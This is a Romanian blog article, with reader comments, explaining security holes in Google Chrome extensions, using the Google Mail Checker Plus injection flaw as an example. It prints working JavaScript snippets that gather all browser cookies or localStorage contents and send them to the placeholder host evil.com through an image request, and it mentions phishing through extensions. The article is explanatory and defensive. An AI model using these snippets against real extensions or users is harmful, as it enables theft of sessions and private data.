Vulnerabilitatile aplicatiilor web din perspectiva extensiilor
4In ultima perioada Google Chrome a atins cote de crestere impresionante comparativ cu orice alt browser din concurenta. A ajuns sa fie unul dintre cele mai populare motoare de navigare pe Internet intr-un timp foarte scurt. Mozilla Firefox are un sistem de pluginuri ce permit extinderea browserelui, facandu-l mult mai puternic pentru un utilizator obisnuit si nu numai. Google Chrome se bucura de un sistem similar. Pentru cei nefamiliari, extensiile Google Chrome sunt mici aplicatii care pot modifica sau spori functionalitatea browserului. Dezvoltatorii scriu aceste aplicatii in HTML (incluzand si HTML 5), Javascript si CSS. Folosind astfel de tehnologii, problemele de securitate pot aparea oricand.
Pentru a descoperi vulnerabilitati si apoi a le exploata in extensiile Chrome trebuie sa intelegi de ce Chrome se intituleaza unul din cele mai sigure browsere din lume, apoi trebuie sa fii familiar cu HTML 5, Javascript si nu in ultimul rand cu dezvoltarea extensiilor.
Una dintre extensiile cele mai populare, Google Mail Checker Plus, a avut de suferit de pe urma acestui tip probleme de securitate. In imaginea de mai jos a fost injectat cu succes, folosind un iframe.
Un exemplu simplu de executare a unui payload
document.body.innerHTML = ”; img = new Image(); img.src = ‘http://evil.com/imagine.jpg’; document.body.appendChild(img);
Exploatarea acestei vulnerabilitati folosind cookie stealling este mai dificila pentru ca apelarea document.cookie este inutila, nereturnand nimic. Trebuie folosite functii speciale implementate si suportate de browser. Pe langa asta extensia trebuie sa aibe permisiuni de utilizare a cookie-urilor site-ului in cauza. Asta inseamna ca prea mult acces din partea unui plugin poate sa permita furtul de date a mai multor website-uri.
Permisiuni pentru folosirea cookie-urilor
{ “name”: “My extension”, … “permissions”: [ "cookies", "*://*.google.com" ], … }
Copierea tuturor cookie-urilor din extensia Chrome si trimiterea lor pe un site remote
chrome.cookies.getAll({}, function(cookies) { var dump = ‘COOKIES: ‘; for (var i in cookies) { dump += cookies[i].domain + ‘:’ + cookies[i].name + ‘:’ + cookies[i].value + ‘ | ‘; } img = new Image(); img.src = ‘http://evil.com/imagine.jpg?’ + dump; document.body.appendChild(img); });
Abuzul de permisiuni
Atacurile in browser nu se opresc aici. In functie de accesul de care dispun, furtul de date se poate extinde chiar si la semnele de carte, istorie, taburi samd. Atacurile pot abuza de extensiile ce stocheaza date private in local storage. Toate informatiile se pot extrage destul de simplu :
var dump = ' LOCALSTORAGE: '; for (i = 0; i < localStorage.length; i++ ) { dump += "KEY: " + localStorage.key(i); dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | "; } img = new Image(); img.src = 'http://evil.com/sniff.jpg?' + dump; document.body.appendChild(img);
Trebuie tinut cont ca e doar un exemplu, se pot face mult mai multe lucruri abuzand de permisiunile disponibile.
Phishing
Din atacurile obisnuite nu poate lipsi phishing-ul. Este evident ca poti afisa utilizatorului un sistem de autentificare ce sa-i ceara datele confidentiale pentru a reautentifica.
Scurgeri de date prin JSON
JSON este un format de stocare a informatiilor si de folosire a lor rapid. Totusi, exista numeroase articole de securitate ce prezinta riscurile folosirii inadecvate a acestei tehnologii. Daca extensia este codata intr-un mod gresit atunci exista un risc foarte mare ca extensia sa poata executa cod malitios fara a sti.
Concluzie
Desi aceste probleme exista, rezolvarea lor nu este dificila iar crearea lor intr-un mod corect te poate scapa de oricare dintre acestea. Totusi, problemele pot aparea si exista asa ca stati cu ochii in patru. Trebuie sa realizati ca acest articol este un ciot, vulnerabilitatile in cauza putand face mult mai multe. Puteti citi mai multe aici si aici.
Daca acest articol contine o greseala, selecteaza cuvintele sau fraza gresita si tasteaza combinatia de taste Shift + Enter sau apasa click aici pentru a o raporta. Multumim!
Ce are fi sa folosim Google Chrome incognito mode ?
Nu prea ajuta. Arunca o privire peste asta.
Andrei, daca prelucrezi articole, ar trebui sa precizezi si sursa originala, mai ales ca ai utilizat imaginile originale: http://oxdef.info/papers/ext/chrome.html
Salut,
Sunt total deacord cu tine, doar ca nu tin minte sa fi folosit ca resurse decat materialele precizate la finalul articolului :
http://www1.vul.kr/web-application-vulnerabilities-in-context-of-browser-extensions
http://www.techrepublic.com/blog/security/chrome-extensions-potential-cracks-in-the-armor/3523
Imi cer scuze ca nu a fost exact sursa originala, insa foarte rar omit autorii la informatii de genul acestora. 🙂